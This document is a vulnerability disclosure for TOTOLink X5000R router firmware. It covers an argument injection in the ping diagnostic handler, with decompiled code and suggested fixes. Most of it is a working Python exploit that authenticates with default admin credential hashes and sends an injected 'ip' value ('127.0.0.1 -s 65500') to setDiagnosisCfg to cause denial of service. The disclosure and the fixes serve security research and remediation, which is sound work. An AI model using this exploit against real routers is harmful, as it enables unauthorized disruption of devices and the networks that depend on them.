a. TOTOLink X5000R_Latest bug fix version v9.1.0cu_2415_B20250515 Ping of Death
In the affected handler, user-supplied parameters are embedded into a system command without validating or rejecting hyphen-prefixed arguments. This argument-injection issue (similar to CVE-2025-52905) lets an attacker smuggle arbitrary command-line options into the invoked tool (e.g., ping). By supplying crafted flags, an attacker can trigger a denial of service (DoS)-for example, by forcing extremely long runtimes or resource-intensive behavior-leading to router hangs/reboots and the potential to overwhelm remote hosts or upstream networks.
a. vulnerable code exists in TOTOLink X5000R_Latest
b. We tested the vulnerability on TOTOLink X5000R_Latest bug fix version v9.1.0cu_2415_B20250515
Since vendor does not provide source code, the following explanation is based on the firmware binary /usr/sbin/lighttpd
a. Detailed description of the vulnerability
In the function sub_413BB8, In sub_413BB8, the user-controlled ip parameter is copied straight into a shell command without sanitization:
snprintf(v6, 128, "ping %s -w %d &>/var/log/pingCheck", Var, v3); CsteSystem(v6, 0);
Because Var (from websGetVar(..., "ip", ...)) is only checked by is_cmd_string_valid and not restricted from starting with a hyphen, an attacker can inject option-like arguments (e.g., strings beginning with -). This is an argument-injection flaw: the program believes it's inserting a hostname, but the shell-constructed line hands those hyphen-prefixed tokens to ping as flags. By supplying abusive options that prolong execution or increase workload, an attacker can cause a denial of service (DoS) - tying up the router's process/thread and CPU or generating excessive traffic toward remote hosts.
int __fastcall sub_413BB8(int a1)
{
int v2; // $v0
int v3; // $s1
const char *Var; // [sp+24h] [-90h]
_BYTE v6[128]; // [sp+2Ch] [-88h] BYREF
memset(v6, 0, sizeof(v6));
Var = (const char *)websGetVar(a1, "ip", "www.baidu.com");
v2 = websGetVar(a1, "num", "");
v3 = atoi(v2);
if ( is_cmd_string_valid(Var) )
{
snprintf(v6, 128, "ping %s -w %d &>/var/log/pingCheck", Var, v3);
CsteSystem(v6, 0);
sub_4038F8("0", "reserv");
return 1;
}
else
{
sub_4038F8("0", "Parameter Error!");
return 0;
}
}
b. suggested fixes
Add validation to reject values beginning with '-' and move from shell-based execution to exec* with an argv array and -- end-of-options delimiter; additionally, enforce strict allow-listing for host/IP and bound all numeric parameters.
# Exploit Title: TOTOLink X5000R setDiagnosisCfg Argument Injection (DoS)
# Exploit Author: 옆집해커들 팀 (Neighborhood-Hacker Team)
# Vendor Homepage: <http://www.totolink.net/>
# Version: X5000R_Firmware v9.1.0cu_2415_B20250515
# Tested on: X5000R_Firmware v9.1.0cu_2415_B20250515
# Description:
# The 'ip' parameter in the setDiagnosisCfg handler of TOTOLink X5000R is
# vulnerable to an argument injection flaw. The handler retrieves the input
# and passes it to the 'ping' command via CsteSystem without validating
# hyphen-prefixed strings. Remote authenticated attackers can inject arbitrary
# command-line options (e.g., -s 65500) to cause a Denial of Service (DoS)
# by exhausting system resources.
import requests
import json
import hashlib
import time
import re
import sys
import ipaddress
# --- 1. Login authentication function: get_auth_session (user-provided code as is) ---
def get_auth_session(ip_address, username_hash, password_hash):
"""
Send a login authentication request and return an authenticated session object upon successful authentication.
"""
url = f"http://{ip_address}/cgi-bin/cstecgi.cgi"
payload = {
"username": username_hash,
"password": password_hash,
"flag": "0",
"topicurl": "loginAuth",
"token": ""
}
# Request Header
headers = {
"Host": ip_address,
"X-Requested-With": "XMLHttpRequest",
"Accept-Language": "ko-KR,ko;q=0.9",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"Origin": f"http://{ip_address}",
"Referer": f"http://{ip_address}/login.html",
"Connection": "keep-alive"
}
data_string = json.dumps(payload, separators=(',', ':'))
print(f"Start login request: {url}")
print(f"Payload: {data_string}")
s = requests.Session()
s.headers.update(headers)
try:
response = s.post(url, data=data_string, verify=False, timeout=10)
print(f"\\\\n--- Response information (loginAuth) ---")
print(f"Response status code: {response.status_code}")
print(f"Response Body Raw Text:")
print(response.text)
response_text = response.text.strip()
is_success = response.status_code == 200 and (re.search(r'"loginFlag"\\\\s*:\\\\s*0', response_text) is not None)
if is_success:
print("\\\\n[+] **Verify login success! Proceed to the next step")
return s # Return Authenticated Session Object
else:
print("\\\\nLogin failed. No pattern was found in the response signal indicating success.")
except requests.exceptions.RequestException as e:
print(f"\\\\nRequest Error Occurred: {e}")
return None # Return None on Failure
# --- 2. Configuration request processing function (add command execution result separation logic) ---
def handle_config_requests(ip_address, token_value, auth_session):
url = f"http://{ip_address}/cgi-bin/cstecgi.cgi"
# 2-1. First request: getWizardCfg (verify authentication token)
print("\\\\n" + "="*50)
print("1. getWizardCfg request (check authentication token)")
print("="*50)
get_payload = {"topicurl": "getWizardCfg", "token": token_value}
get_data = json.dumps(get_payload, separators=(',', ':'))
try:
response = auth_session.post(url, data=get_data, verify=False, timeout=10)
if "errcode" not in response.text or "token invalid" not in response.text:
print(f"Response Status Code: {response.status_code}")
print("Response Body:", response.text)
print("\\\\n[+] **getWizardCfg Successful:** Authenticated tokens are valid. Try the following setup request.")
else:
print(f"Response Status Code: {response.status_code}")
print("\\\\n[-] getWizardCfg failed: token is invalid skip command insert request.")
print("Response Body:", response.text)
return
except requests.exceptions.RequestException as e:
print(f"\\\\n[Error] getWizardCfg request failed: {e}")
return
set_payload = {
"topicurl": "setDiagnosisCfg",
"ip": "127.0.0.1 -s 65500",
"num": "10",
"token": token_value
}
set_data = json.dumps(set_payload, separators=(',', ':'))
print(f"Payload: {set_data}")
try:
response = auth_session.post(url, data=set_data, verify=False)
json_start = response.text.find('{')
if json_start != -1:
cmd_output = response.text[:json_start].strip()
json_response = response.text[json_start:].strip()
print(f"\\\\nResponse Status Code: {response.status_code}")
print("\\\\n==============================================")
print("[+] Command Execution Results (Raw Output)")
print("==============================================")
print(cmd_output)
print("\\\\n==============================================")
print("[+] Server's final JSON response")
print("==============================================")
print(json_response)
else:
print(f"\\\\nResopnse Status Code: {response.status_code}")
print("Response Body (JSON not found):")
print(response.text)
except requests.exceptions.ReadTimeout:
print("\\\\n**[-] Read Timeout Occurred! (Over 10 seconds)** The server may have delayed response after executing the command.")
print(" Return to the VM to see the results of the command execution.")
except requests.exceptions.RequestException as e:
print(f"\\\\n[Error] Setting request error occurred: {e}")
# --- 3. Practice ---
def validate_ip(ip_address):
"""IP address format validation"""
try:
ipaddress.ip_address(ip_address)
return True
except ValueError:
return False
if __name__ == "__main__":
# 3.0. Getting an IP address from a user
while True:
IP_ADDR = input("Enter the destination IP address to access (e.g. 192.168.0.12): ").strip()
if validate_ip(IP_ADDR):
break
else:
print("[Error] This is not a valid IP address format. Please re-enter.")
USER_HASH = "21232f297a57a5a743894a0e4a801fc3"
PASS_HASH = "21232f297a57a5a743894a0e4a801fc3"
print(f"\\\\nDestination IP address: {IP_ADDR}")
# 3.1. Attempt to obtain an authenticated session object
auth_session = get_auth_session(IP_ADDR, USER_HASH, PASS_HASH)
# 3.2. If the authentication is successful, the next time you request it
if auth_session:
print("\\\\n\\\\n--- Step 1: Enter authentication token values ---")
input_token = input("Please enter a new token (value to try): ")
handle_config_requests(IP_ADDR, input_token, auth_session)
else:
print("\\\\nThe final authentication was not successful. The following requests could not be processed.")